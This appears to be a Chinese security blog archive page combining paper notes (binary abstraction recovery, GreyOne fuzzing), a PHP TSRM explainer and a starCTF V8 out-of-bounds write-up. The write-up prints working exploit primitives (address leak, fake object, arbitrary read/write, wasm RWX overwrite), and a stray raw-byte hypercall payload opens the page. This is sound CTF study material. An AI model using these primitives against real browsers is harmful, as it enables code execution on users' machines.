#define KASAN_PAYLOAD "\xFA\x48\xC7\xC0\x1F\x00\x00\x00\x48\xC7\xC3\x09\x00\x00\x00\x48\xC7\xC1\x00\x00\x00\x00\x0F\x01\xC1\xF4"

0x03 自身的感受

这次搬论文，我没有从论文的结构开始搬，我先大概看了一下，心里总结了一些问题。然后我在去深入的解决这些问题，学到了非常多的东西，受用无穷。这样的论文太少了，没有比较华丽浮躁的技术，但是完整的构建了整个对于kernel的fuzzing系统，并且主要是有源码，在读源码过程中，真的太爽了。kafl是第二个对我受用无穷的东西（第一个给了angr和hopper，哈哈哈），希望我浅薄的理解能带给大家帮助！

2020-07-25

paper

Abstraction Recovery for Scalable Static Binary Analysis

paper

Abstract

静态的二进制分析相对于静态源码审计是更困难的，因为二进制处于更底层的位置，缺少了高层的抽象，例如变量，类型，函数，控制结构。
提出了一种抽象恢复的静态二进制分析技术
抽象恢复的前提是很多二进制程序是高层的抽象语言编写的，而且抽象的源代码更适合分析。
抽象恢复的两个应用
- c语言形式的反编译
- rop chain的自动生成
抽象恢复并不能应用到所有的二进制分析。

Overview

静态分析和动态分析对比
- 准确性
  - 动态分析建立在程序执行的基础上，是程序真实存在的行为。
- 覆盖率
  - 动态分析的输入可能无法覆盖所有程序路径，可能会导致一些bug的miss，但静态分析可以充分考虑这些路径。
- 环境影响
  - 静态分析需要对外部环境建模，例如syscall,外部函数调用等等。
- 副作用
  - 静态分析可以避免待测程序运行起来对系统的影响。当待测程序是untrust的时候这非常有必要。
二进制分析的优点
- 终端用户适用性
  - 二进制分析可以有效的适用于所有可以运行的二进制，而不需要知道源码。
- 未定义行为
  - 在source 层面，可能有一些语法是比较模糊的，但是在二进制层面，我们可以知道它真正的执行过程，比如一些agressvie optimizers可能造成一些优化带来的安全问题。程序的最终运行还是依赖于编译器，优化程度，flags 等等。
- 二进制特征
  - 有一些程序只能在二进制层面分析，因为关注的属性并不在source层面。比如automatic exploits generation(AEG)，需要自动化的检测漏洞并构造exploit，AEG需要了解stack frame分部和padding的信息。
- 语言无关
  - 二进制分析可以适用于不同语言编译出来的二进制程序。从长远来看，可以避免单独给每一门语言写一个独立的analysis tool，是一种非常不同的选择。
二进制分析中的挑战
- 复杂的语义
  - 一些汇编指令是具有副作用的，比如在条件跳转时，需要flag的信息。如果完全考虑这些情况，对每个汇编指令建模时，将非常复杂。
- 抽象的缺失
  - 基于source层面的静态分析是无法直接用到二进制的层面的，在编译过程中移除了variables,types,functions,control-flow structure的相关语法结构，而生产一些实际指令，基于实际指令的分析要难于对抽象语法的分析，例如一个局部变量，在source里面有明确的定义，在二进制层面就被放在栈上，可能难以通过栈的结构去区分这些局部变量。
  - 通过不同语言编译出来的二进制，难以在二进制层面有一个自然表示。
- 间接调用
  - undecidable problem
  - unsound：导致不完整的CFG 或者过于冗余的CFG
现存二进制分析的方法
- 中间语言
  - Binary Analysis Platform（BAP）
  - 可以显示的把机器语言产生的副作用flag表示出来
- 控制流重建
  - 尝试处理间接调用，恢复CFG
抽象恢复
- 前提：（1 二进制程序通常是从高层的抽象语言编译而来（2 这些高层的抽象语言更适合做静态分析
- 方法论：（C or gadget abstractions）
  - 已被编译的应用通过抽象恢复计算出抽象程序的行为中可观测的属性
  - 通过抽象恢复再分析要比直接分析应用更快
- 最大的motivation： the success of static source analysis
- 源程序和二进制程序最大的不同：抽象层次的不同

Source-code Abstractions

反编译器应该关注的两个方面：
1. 从实际分析出发，尽可能恢复有利于后续分析的抽象表示。
2. 保证抽象恢复的结果是正确的。
反编译器主要恢复两种抽象类型：
1. 数据类型抽象
2. 控制流抽象
Phoenix的控制流结构化算法基于structural analysis
- semantics-preservation
- iterative refinement
背景知识：
- 控制流分析：
  - 控制流图用形式化的表示，其中表示BB集合，表示edge集合，表示entry，表示exit
  - Domination
    - dom ,表示从到的每一条路径都经过了
    - pdom ,表示从到都每一条路径都经过了
    - immediate dominator : 这个是唯一，只是的dominator。eg：f -> d -> n, f和d都是n的dominator，但是d是n的immediate dominator。关于 immediate post-dominator的定义反之亦然。
    - Loops 定义：若 edge 是一条后向边，则 dom ,每一条后向边都可以来定义一个头是的natural loop。
    - natural loop 定义：一个具体的naturl loop是指可以不通过到达的所有node的集合和本身。
- Structural Analysis：
  - 解释：Structural Analysis 是一种用来恢复高层控制结构的数据流结构结构化的算法，eg：if-then-esle，loops。
- SESS Analysis and Tail Regions：
  - motivation：由于Structural Analysis 是无法识别C循环结构中的break和contiune，提出了single exit single successor（SESS）来标识存在这样的退出状态的语句。
  - 方法：将exit状态转化成tail regions。eg：body;break; 将转化成一个tail regions
Overview:
- 控制流图恢复：
  - 使用BAP，生成BIL。
- 变量和类型恢复：
  - 使用的TIE（ TIE: Principled reverse engineering of types in binary programs），TIE使用Value Set Analysis（WYSINWYX: what you see is not what you execute）来恢复变量地址，然后对变量使用基于静态和条件约束类型推导。
- 控制流结构化恢复：
  - 以CFG作为基础，在CFG中寻找结构化的shape，相对于在CFG中刻画了一个子图。
  - 两个特征：
    - 迭代细化
    - 语义保留
- 语句翻译（C格式）：
  - 在CFG上通过对节点结构化的标记，需要把每一个节点所对应的BIL语法翻译成更高层的HIL，eg：比如翻译函数调用，翻译器通过callside处的栈指针，并使用类型信息来计算传参数量。
  - 优化可读性：
    - 删除冗余的死代码
    - untiling optimization （不知道是什么？）
    - tiling: 使用源语言的ast，让汇编语言尽可能的覆盖语法节点，比如,首先用一个add指针来填充y+z，然后使用一个div指针来覆盖除法。
    - untiling algorithm ：输入一些statements，输出相同语义的高层次的statements，eg：表示从a&b中提取最高位的1，等价于，（我没有理解这里的等级关系）
语义保留结构分析和迭代式的控制流结构化
- 语义保留：
  - motivation：structural analysis可以识别出与CFG可达性一致的控制流，但是无法识别于CFG语义一致的控制流。（if-true-false）eg：当x=1 和 y=2时，在源CFG上，在x=1时已经退出loop，但是在中间图上，y=2也可以退出loop，这显然是不对的。
- 方法：在structural analysis中很多结构化的策略都是保留语义的，但是loop这样的结构化策略，是会忽略语义的。Phoenix通过把这些会丢失语义的策略，替换成保留语义。
- 迭代细化
  - refinement ：在CFG上去掉边，并在对应地方加上goto语句
  - Iterative Refinement：重复执行refinement过程，直到可以结构化可以运行。
  - refinement 工作要额外小心，eg：判断b[i]会不会造成溢出，需要考虑i的取值，i是一个循环不变量。如果将while换成goto，可能就无法识别这个地方是安全的。
- 算法概览
  - 无环模式（当前处理的node 处于无环控制流里面）
    - acyclic schemas
    - switch region
  - 环模式（当前处理的node 处于环控制流）
    - cyclic schemas
    - loop
- 无环区域
  - 无环区域定义：C语言中无环控制流操作，指令序列，条件跳转，switch
  - 从直觉上如果仅靠shape的定义是很难区分控制流结构，例如一个switch 有两个case x=2 和x=3，其实他也是满足if-then-else结构的，但是if-then-else需要有完全相反的条件。
- 尾部区域和虚拟边
  - motivation：可能在CFG上以某点n为子图无法匹配任何区域，提出了refine的概览，可能通过尝试去掉CFG上的某些边，可以去匹配一些控制流，这个称为refine 迭代过程，直到某次refine之后可以匹配某一个控制流结构以后，就停止refine。
  - 虚拟边：去掉CFG上一些边以后可能改变语义，虚拟边的就是用于在保留语义的情况下去掉一些边。分为两种情况的边：
    - 带条件的有向边
    - 无条件的有向边
    例如是无条件的边，当去掉这条边以后，在出标记一个标签l，再将标识为 .这样结构再后面可能会被翻译成break 或者 contiune。
- switch 精修
  - 首先明白incomplete 和 complete switch的区别，下图从n出发所有条件都是相对立的，即完整的switch为 ,不完整的switch则相反。
  - switch 匹配策略：
    - 通过refined 虚拟化所有指向switch 头后面的节点。
    - 确保switch里面的node都有相同的后继节点：如果switch头节点的immediate post-dominator是所有case节点的后继，那么这个节点就是switch的 fall through后继。
    - switch的fall through的后继满足三个条件：
      - 首先是所有case节点的后继
      - 不是case节点本身
      - 这个节点有最多的来case节点的入度边。
    - switch candidate（候选）：通常先匹配IncSwitch，一个通常策略是switch的cases分为jump table 和default。
- 环区域
  - 如何在节点n处区别不同的循环结构：通过找指向n的后向边，每一条后向边可以定义一个循环体，循环体的节点包括那些可以不通过节点n就能到达的所有节点。（其中n为循环头）先优化处理拥有比较小的循环体的循环结构，来优先匹配更大的循环体（因为没有针对嵌套循环的策略）。
  - 三种不同类型的循环结构：（主要条件判断时机）
  - 特殊的SelfLoop: (可能在c语言里面的呈现形式)
    
    但是在结构匹配的时候，可以看到selfloop是没有exit边的，这是可以通过虚拟边做到的，也就是形成所谓的尾区域，来匹配一些 break，contiune，goto等语法结构。
- 循环结构精修：
  - motivation：如果发现了一个循环头，但是无法匹配任何循环结构，就开始进行循环结构精修。有环区域什么时候会匹配失败一个循环结构：（1 这个区域有多个入口（2 这个区域有多个出口（3 循环体无法被折叠。
  - step1：当有多个入口时，选择有着入度边最多的那个入口为循环头。指向其他入口的边将会被虚拟化
  - step2: 识别循环结构类型：（1 如果有一条exit边从循环体出来，则循环结构为while （2 如果有循环结构后向边的source节点有一条出度边，则循环结构为dowhile （3 否则，只要有exit边，则循环结构为selfloop。 exit边用于确定循环结构的后继节点，反过来后继节点也可以确定循环结构保护了那些节点。
  - break /contiune：指向循环头的边用contiune 尾区域来表示。指向循环结构后继节点的边用break 区域来表示，其他所有的虚拟边将变成goto。
  - 精修和非精修的区别：精修在于减少goto的。
  - step3: 去掉所有影响循环体折叠的边，eg：有一个goto指向了循环体的内部
- 最后的排序精修
  - Motivation ：当一次迭代过程结束时，如果cfg中的没有一个节点可以被结构化，此时会尝试去掉cfg中的一些边，直到某些节点可以进行结构化。这个过程具有最小的优先级。
  - 去掉边的策略：在dominator tree上进行，优先去掉
    - A--->B ，存在从entry可以不通过A到达B的点。
    - A--->B, A点到exit只能通过B的边。
    这个策略我没太看懂，我觉得需要从大量例子来总结这样的修剪策略

Ceneral Abstractions

Gadget Abstractions
- 源代码抽象的不足：
  - 源代码抽象不能表示所有二进制的语义
  - 源代码抽象不能表示一个二进制的所有行为
  - 隐藏源代码的实际行为，导致一些细节无法被发现，eg: undefined behaviors
- 一些难以抽象的程序行为
  - get_pc_chunk 返回一个程序计数器的值
  - 代码混淆
  - 编译器优化，eg: inline function (高度优化的程序，可能运行更快但是分析越慢)
- general abstractions：指在所有二进制里面都可以适用的抽象。
- gadget abstraction：gadget 指程序片段，并不需要具体的语义。
rop的自动构造：
- gadget 收集
- gadget 抽象
- gadget 分配
图上的Qool是面对gadget设计的一种高层次的语言，可以这样理解，c complier是为了把c语言翻译成可以运行的二进制，Qool可以类比，需要利用gadgets来实现运行我们的目标”程序“，Qool就是这样一种可以让你在高层次来进行编写自定义的程序，最后帮你翻译成gadgets的形式。在高层次编写的时候，你不需要关注gadget的类型和具体指令。c compiler可以使用所有汇编指令，但是Qool就只能使用提前收集好的gadgets。下面是Qool其中的语法：

还需要一些关于gadget 类型的定义：

通过Qool可以翻译成下面形式的语法树：

2020-07-14

php

拥抱php之线程安全

引

关于php tsrm机制的文章很多，但是都感觉没有讲到精髓，都是拿其相关的数据结构就一通讲，完全让人难以理解，最近工作涉及到了tsrm的东西，于是想自己总结一下tsrm，这短短不到800行的代码，是如何保证php的线程安全的，看着里面复杂的数据结构，可能让人难以入手。我想从线程安全的动机出发，维护一个线程安全需要什么？来帮助到有需要的人理解它，也给自己一个以后回过头来看的机会。 :)

overview

在理解整个过程的之前，我们从设计tsrm的动机出发，而不是直接去看tsrm是什么。在单线程的模式下，一个全局变量，无论怎样的存储都不会出问题，在php的设计过程中有一些全局变量，充当着非常重要的角色，例如：

compiler_globals
executor_globals

那么在多线程下，去访问全局变量就会出现问题，就所谓的非线程安全，解决方式是需要把相关的全局变量给每个线程都复制一份。这里面就设计一个量级的关系：

线程的数量 t
相关全局变量的数量 g

所以我们可能需要复制t * g 个全局变量，再理一下关系，每个线程都着各自独立的“全局变量”。我们先不论这个“全局变量“放在哪里，我们可能是可以知道有g个”全局变量“，如果我们尝试把每个线程所有全局变量都紧密的放在一起。

可以看到相同全局变量的相对于起始位置都有着相同的offset，只是起始位置不同，在切换进程的时候，我们只需要切换这个其实地址起就行，这样相同的全局变量，我们可以用一个新的全局变量来代替，这个新的全局变量就代表所指全局变量的offset，有了这个offset，我们就能拿到真实的“全局变量”，而且可以保证原代码的一致性，我们只需要调整以前全局变量的操作即可，这就是我理解的tsrm的设计细节。所以关键的是：

如何保证切线程的时候，存储线程全局变量的起始地址变化。
如何确定这个”全局变量“的offset

如果了解这两个东西，其他的细节并不是问题。

solutions

先来解决最前面的两个基础量级问题：

线程数量的表示
全局变量数量的表示

总体上解决方案是给每一个线程去”拷贝“一份全局变量，那么我们需要知道线程数量和全局变量的数量。

线程的保存

首先需要去抽象一个线程，然后把各个线程的信息保存下来。每个线程都会用一个tsrm_tls_entry结构来抽象，然后用一张表tsrm_tls_table串起来，

struct _tsrm_tls_entry {
	void **storage;
	int count;
	THREAD_T thread_id;
	tsrm_tls_entry *next;
};

static tsrm_tls_entry	**tsrm_tls_table

（我这里不会一上来，跟说书一样就马上开始介绍每个字段的意义，因为没有动机，你会很难理解为什么这个字段存在）

这个tsrm_tls_table是一个二级指针，其实它终会指向一个tsrm_tls_entry的指针数组。直观上你可能会想，如果来一个tsrm_tls_entry，就把它的地址放在这个数组里面不就行了？其实不然。这个指针数组在tsrm设计里面，它其实是一张hashtable：

你如果你熟悉HashTable，这看起来像不像用链表的形式来解决哈希冲突？那么hash值怎么计算呢？这里策略非常简单，直接用tsrm_tls_entry->thread_id % tsrm_tls_table_size，前面表示用线程号模 tsrm_tls_table的长度去余。所以这里tsrm_tls_table长度从一开始确定就不会变了，保持映射关系。默认情况，这个表的长度一般是1（我对这个长度持怀疑态度），如果长度为1，那么他就是一张单链表。

其中tsrm_tls_table是一个真正的全局变量，用来存储各个线程的信息

全局变量的保存

为了避免线程操作全局变来带来的安全问题，我们把全局变量给每一个线程都“拷贝”了一份，那么试想，新创建了一个线程，我们需要把所有相关的全局变量都给它复制一份，那我们得先知道到底有多少个相关全局变量。所以在tsrm里面也用了一张类似tsrm_tls_table的东西来存储相关所有的全局变量。

为了存储全局变量，首先也得抽象全局变量。每一个全局变量用tsrm_resource_type来抽象表示，然后用一张resource_type_table表串起来。

typedef struct {
	size_t size;
	ts_allocate_ctor ctor;
	ts_allocate_dtor dtor;
	size_t fast_offset;
	int done;
} tsrm_resource_type;

static tsrm_resource_type	*resource_types_table

resource_types_table指向是一个tsrm_resource_type数组。 tsrm3

线程相关全局变量

每一个线程独立相关的全局变量放在哪？

与线程相关的结构只有tsrm_tls_entry,那么线程中的全局变量的存储肯定是围绕这个结构的，我先给答案，其实有两个地方可以存储：
- tsrm_tls_entry结构的尾部
- tsrm_tls_entry->storage
tsrm_tls_entry的storage指向是一个指针数组，其中存储了每一个线程相关的全局变量真实的结构。这个很容易理解。

在tsrm_tls_entry尾部存储，是一种性能优化的策略。不需要你再去fetch storage。可以通过线程相关的全局变量相对于tsrm_tls_entry的位置，快速的读写线程相关的全局变量。

线程切换时如何保证线程相关全局变量一致？

前面已经讨论过了，这里只需要保证每次操作相关全局变量的时候，是从线程对应的tsrm_tls_entry里面获取的就行。这里直接是使用了pthread_key_create ,pthread_key_set,pthread_getspecific来维护每个线程独立的tsrm_tls_entry的结构。关于它们的使用具体可以看看多线程私有数据pthread_key_create，这里就不详细深入了。
线程相关全局变量的更新

除了前面提到的，新创建一个线程的时候，需要把相关的全局变量给它拷贝一份，还有一种情况是，当一个线程新增一个全局变量的时候，其他的变量也需要新增这个全局变量，需要保持同步。

当新增一个全局变量的时候，这个时候会先放到resource_type_table里面，再循环遍历所有的线程tsrm_tls_entry把新的全局变量添加进去，这个细节问题需要考虑一下。

2020-06-26

starctf-v8-oob

0x00 引

昨天端午节，外面下着暴雨，想起了一个一直想看的题，就开始捣鼓起来，调一会儿，玩一会儿，用了一个下午了解整个题，总觉得还是要记录下来点什么，网上关于这个题的writeup很多，也很精彩，但是我遇到了一个小小问题，似乎也没有准确答案 (太菜了，对v8一些内置系统还是不太熟悉)，记录下来，看以后有没有机会能再弄清楚它。 ( 我会尽量用最简洁的语言来描述这个题的整个过程，然后记录一个问题

0x01 漏洞点和两个基础原语

从给题目给的diff可以看到新增了一个oob内置函数，从名字也暗示了你这是一个怎样的漏洞：

当传参数量为1个时，取其数组的第length个元素直接返回
当传参数量为2个时，将第二个参数的值写入其数组的第length元素
length == 其数组的长度
对于这样内置函数，其第一个参数是指向receiver的this指针，所以上述描述在js里面调用来描述应该是：
- 当传参数量为0个时，取其数组的第length个元素直接返回
- 当传参数量为1个时，将其第一个参数的值写入其数组的第length元素

所以根据上面描述，可以很快确定这确实是一个oob，可以对receiver数组越界读或者写。

+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

有了上面的基础，接下得让这个oob读写的操作变得有意义，直接引出jsobject的结构

 FixedArray ----> +------------------------+
                  |       <Map>            +<---------+
                  +------------------------+          |
                  |      length            |          |
                  +------------------------+          |
                  |      element 1         |          |
                  |      ......            |          |
                  |      element n         |          |
ArrayObject  ---->-------------------------+          |
                  |      <Map>             |          |
                  +------------------------+          |
                  |      prototype         |          |
                  +------------------------+          |
                  |      elements          |          |
                  |                        +----------+
                  +------------------------+
                  |      length            |
                  +------------------------+
                  |      properties        |
                  +------------------------+

是不是觉得这个结构非常的神奇，可扩展的FixedArray在JSObject头前面，这让oob的操作就变得有意义了，oob操作是完全可以读写Map的，这里就简单介绍一下map

"每个实例都有一个描述其结构的map，一般来说由相同顺序、相同属性名（同一构造函数）构建的对象，共享同一个map JSObject<Map> 也被称为 Hidden Class，这是由于最早 V8 在 Design Elements 将其称之为 Hidden Class，故一直沿用至今。也就说，在 V8 中具有相同构建结构的 JSObject 对象，在堆内具有相同的内存（空间）布局。"

所以不同类型的Array例如，objectArray或者 floatArray都有描述其结构的map，而这些都属于JSObject，决定他们不一样的就是map。

oob操作给了我们可以泄露map和写map的机会，如果我把objectArray的map换成floatArray的map，会产生什么样的效果呢？这里就产生类型混淆，floatArray的element里面是直接储存浮点数的值，而objectArray的element里面存储是其他object的引用。

所以我们把objectArray的map换成floatArray的map，将导致v8会以对floatArray的操作方法来操作objectArray，直接就导致了可以读取其他object的引用地址。相反将floatArray的map换成objectArray的map，将会导致我们有机会直接改写objectArray的element里面对其他object的应用。

这里就引出下面两个基础原语： - 泄露某个obj的地址 - 从某个地址得到一个obj

var obj_arr = [console.log]; //objectArray
var obj_arr_map = obj_arr.oob();//objectArray's map
// Create a Float array, and remember its map
var float_arr = [2.2]; //floatArray
var float_arr_map = float_arr.oob();//floatArray's map

function get_addr_of(obj)
{
    // Set the array's object to the object we want to get address of
    obj_arr[0] = obj;
    // change object array to float array
    obj_arr.oob(float_arr_map);
    // save the pointer
    let res = obj_arr[0];
    // return object array to being object array
    obj_arr.oob(obj_arr_map);
    // return the result
    return res;
}

function create_object_from(float_addr)
{
    // Set object array to be float array
    obj_arr.oob(float_arr_map);
    // Set the first value to the address we want
    obj_arr[0] = float_addr;
    // Set the array to be object array again
    obj_arr.oob(obj_arr_map);
    // Return the newly crafted object
    return obj_arr[0];
}

0x02 任意读写原语

现在要通过前面的两个基础原语，得到我们真正想要的RW原语，简单思考一下，这里过程让我想到了在php里面怎么用类型混淆来做rw，最简单就是有一段可控空间，造一个string类型的zval出来，拿到它的引用，就可以达到rw的功能，其实这里也一样，我们也可以造一个js里面基础类型,这里选择造一个floatArray出来。

var fake_arr=[
	float_arr_map,//<MAP>
	bigint2float(0n),//prototype
	bigint2float(0x41414141n), //elements
    bigint2float(0x1000000000n),//lengths
    1.1,
    2.2,
]

//0X40 根据fake_arr大小变化
var fake_obj_arr = float2bigint(get_addr_of(fake_arr))-0x41n+0x10n;

通过改变elements的指向，就可以实现任意rw的功能，也就拿到了下面两个rw的原语。

function read64(addr){ //bigint
	fake_arr[2]=bigint2float(addr-0x10n+0x1n);
	let res=fake_obj[0];
	return float2bigint(res);
}

function write64(addr,data){//bigint,bigint
	fake_arr[2]=bigint2float(addr-0x10n+0x1n);
	console.log(float2bigint(fake_arr[2]).toString(16));
	fake_obj[0]=bigint2float(data);
}

0x03 利用过程

这里有很多的利用方法，但是这里我只记录一种，通过它来说明我遇到的一个问题。

有了rw，我们得想办法劫持控制流，在v8里面的wasm特性就是一个非常不错的选择。

var code_bytes = new Uint8Array([
    0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01,
    0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00,
    0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E,
    0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);
const wasmModule = new WebAssembly.Module(code_bytes.buffer);
const wasmInstance =
      new WebAssembly.Instance(wasmModule, {});
const { addTwo } = wasmInstance.exports;

addTwo(5, 6)

通过wasm的语法引入了一个函数，在wasm的解析过程中，会开辟一个rwx的page，会把引入的函数code放到这个page上，所以这里如果我们能拿到这个page的位置，把相应的函数code覆盖成我们的shellcode，那么在通过函数表调用的过程中就会直接执行我们的shellcode。

拿到这个page的过程是动态调试的一个过程，其实也可以看代码把结构上的相对offset算出来。

1 2	%DebugPrint(wasmInstance); %SystemBreak();

通过GDB断下来，用vmmap看一下rxw的页起始地址，再通过内存搜索找到对它引用的地址point_adr, 然后用point_adr 减去 wasmInstance_adr就可以拿到这个offset，这里具体值是0x87。

下面我们要找到存放函数code的具体位置，从rxw的页起始地址加 0x2，就是这个函数表的一个指针，指向的就是函数code位置。

后面过程就理所当然了，接着我遇到的问题就来了

0x04 一个小问题

在写shellcode过程中，出现了segmentfault的问题，这很奇怪，我注意到从一道CTF题零基础学V8漏洞利用这篇文章里面也提到这个问题。

pwndbg> r  
[*] Success find libc addr: 0x000056420e8075b0  
[*] find libc libc_free_hook_addr: 0x00007f16f641b8e8  
... ...  
RAX 0x7f16f6400000  
... ...  
► 0x56420e5756bd mov rax, qword ptr [rax + 0x30]  
0x56420e5756c1 cmp rcx, qword ptr [rax - 0x8fe0]  
0x56420e5756c8 sete al  
0x56420e5756cb ret  
... ...  
Program received signal SIGSEGV (fault address 0x7f16f6400030)  
pwndbg>

细心的童鞋应该会发现，我们要写的内存地址0x00007f16f641b8e8在write64时低20位却被程序莫名奇妙地改写为了0，从而导致了后续写入操作的失败。

这是因为我们write64写原语使用的是FloatArray的写入操作，而Double类型的浮点数数组在处理7f开头的高地址时会出现将低20位与运算为0，从而导致上述操作无法写入的错误。这个解释不一定正确，希望知道的童鞋补充一下。出现的结果就是，直接用FloatArray方式向高地址写入会不成功。

对于作者关于这个问题的解释，我觉得有点奇怪，最后作者通过DataView解决了这个问题，而我这里不需要DataView似乎也能解决问题。下面是我关于这个问题的探究过程，也不一定正确，所以只做参考。

我首先打印了一下出现这个问题时候的stacktrace

#0  0x0000563087f2cd2d in v8::internal::FixedArrayBase::IsCowArray() const ()
#1  0x0000563087e61003 in v8::internal::GetStoreMode(v8::internal::Handle<v8::internal::JSObject>, unsigned int, v8::internal::Handle<v8::internal::Object>) ()
#2  0x0000563087e60dea in v8::internal::KeyedStoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) ()
#3  0x0000563087e652c7 in v8::internal::Runtime_KeyedStoreIC_Miss(int, unsigned long*, v8::internal::Isolate*) ()
#4  0x0000563088391359 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit ()
#5  0x00005630883dc8d9 in Builtins_StaKeyedPropertyHandler ()
#6  0x0000563088304766 in Builtins_InterpreterEntryTrampoline ()

这个出现一个过程是Runtime_KeyedStoreIC_Miss，然后我去具体看这个地方代码，首先 IC是个什么东西，是一种V8里面内置优化过程叫inline cache,用于优化下面的过程：

function getX(point) {
    return point.x;
}

for (var i = 0; i < 10000; i++) {
    getX({x : i});
}

其中point.x 可以理解为Runtime_Load(point, "x");：

function Runtime_Load(obj, key) {
    var desc = obj.map().instance_descriptors();
    var desc_number = -1;
    for (var i = 0; i < desc.length; i++) {
        if (desc.GetKey(i) === key) {
            desc_number = i;
            break;
        }
    }

    if (desc_number === -1) {
    	return undefined;
    }

    var detail = desc.GetDetails(desc_number);
    if (detail.is_inobject()) {
    	return obj.READ_FIELD(detail.offset());
    } else {
    	return obj.properties().get(detail.outobject_array_index());
    }
}

上前面那种情况下传入的JSObject的map都是一样，属性x的存储位置也是相同的，那么就可以存储一个键值对用来保存 map和对应x的存储位置。在传入obj的map相同的情况下，直接从缓存位置读取：

function LoadIC_x(obj) {
  if (obj.map() === cache.map) {
    if (cache.offset >= 0) {
      return obj.READ_FIELD(cache.offset);
    } else {
      return obj.properties().get(cache.index);
    }
  } else {
      return Runtime_LoadIC_Miss(obj, "x");
  }
}

有了这个IC处理过程的基础，我们再看到底是哪出错了

1	return receiver->elements()->IsCowArray() ? STORE_NO_TRANSITION_HANDLE_COW: STANDARD_STORE;

这里地方有问题，似乎这里判断一下fixedArray 是不是cowArray类型，但是我们造fake_obj 的elements是指向rwx节上的，并不能保证fixedArray的完整性，所以这里出问题了，那么我的想法是不让它进入这个IC miss的过程，miss发生在哪一步呢？

function write64(addr,data){//bigint,bigint
	fake_arr[2]=bigint2float(addr-0x10n+0x1n);
	fake_obj[0]=bigint2float(data); //fake_obj[0]这里发生了miss
}

所以我的想法是先用write64正常写一次，让IC建立储存关系，然后让后面的load/store直接使用cache里面的关系，从实验中，证明了我这样做的方法是可行的！但是我不能保证我上面的想法是对的。所以这个问题我想记录下来，看以后能不能真正的去理解它

about

http://www.hackitek.com/starctf-2019-chrome-oob-v8/ https://www.freebuf.com/vuls/203721.html https://zhuanlan.zhihu.com/p/28790195 https://www.anquanke.com/post/id/207483

2020-06-20

paper

GreyOne: 一种基于数据流敏感的模糊测试方法

背景

当使用数据流分析来指导fuzzer探索更深的路径或者用来发现漏洞时，已经在实践中被证明是一种非常有效的方式，在该文中着眼于动态污点分析，传统的污点分析，通常实现起来有存在后面几种缺陷：（1 工作量是比较大的，（2 不精确，（3 速度慢，（4 对fuzzing的影响是非常低效的

在该文章中，提出了一种名叫 GreyOne的基于数据流敏感的fuzzing解决方法，引入了一个新的轻量级且sound的以fuzzing为驱动的污点推理过程（FTI），通过不断地mutating输入，并且监视变量值的变化来推断变量是否被污染。以这种方式为基础，建立了一个针对如何mutating某个输入seed优先级的模型，来决定探索哪条分支和mutate输入seed的哪个一个字节。更进一步，描述每个独立的输入seed的约束符合性，用来优化fuzzing的进化方向。

前人工作的方法和不足

基于变异的fuzzing策略，被广泛应用，其中最核心的工作是如何决定fuzzer的进化方向，确切地说是针对一个特定的输入seed，该如何mutate它，使它能执行到更深的路径和满足特定的数据流约束来触发漏洞。

一个比较普遍的解决方案是通过符号执行，但是符号执行通常实现起来是一个非常重的框架，并不适用于稍微大一点应用，对于比较符号的约束条件也是很难求解的，比如单向函数，还有一些其他方案，比如使用深度学习和强化学习来增强fuzzer的效果，但是它们都刚处于起步状态，并没有很明显的优化效果。

数据流分析已经在实践中得到了证明，对fuzzer是有效果的，比如TaintScope用来定位checksum的位置，VUzzer用来定位出现在路径条件上的值，Angora用路径条件来刻画输入模型，这些方案都使用了污点分析来解决如何去mutating 一个输入seed，并且都有不错的效果。

但是传统动态污点分析有很多限制，前面也已经提到过了，比如VUzzer只支持x86平台，因为传统的污点分析需要对每一个独立的指令，编写一个传递规则，对于外部函数和系统调用，还需要建立对应的模型，实际并不精确，因为被污染的值，可能会影响路径条件，进一步影响其他的变量，这种情况就是通常说的隐式数据流，如果隐式的数据流被忽略，将会导致under taint的问题，相反如果完全考虑这样的情况，也将会导致over taint。最后整个分析过程将极其地慢。

挑战和解决思路

通过研究上述的多种限制，提出3个问题，该论文也是围绕着三个问题进一步展开。

如何通过轻量级且精确的污点分析来引导高效的fuzzing?
如何通过污点分析来有效地指导mutation过程？
如何通过数据流的特性来优化fuzzer的进化方向？

GreyOne的流程图

种子的生成和更新
种子的选择
种子的变异
测试和追踪

解决方案主要围绕下面三个改进展开：

Fuzzing-driven Taint Inference (FTI)

0x01 Overview

首先是个什么东西：通过fuzzing来监测变量值的变化，从而推理哪些变量是否可能被污染。（这是动态执行赋予的特性，羡慕
这个推理过程是sound，但是不存在over taint的问题，同时对隐式污点传递过程和调用外部函数带来的干扰有一定的免疫能力。
最大的优点就是避免人为编写污点传播规则，且运行时非常快。

0x02 从直觉出发

如果当我们改变了输入payload的某一字节，让某个变量的值发生了变化，我们可以推断整个流程依赖于这个字节，无论是显式地传播过程还是是隐式地传播过程（我们是可以忽略的。
1. 更进一步说明，如果改变这个字节的值，可能满足或者不满足用到这个变量的条件分支中的条件，从而进入新的分支。

0x03 形式化的表示（推理规则

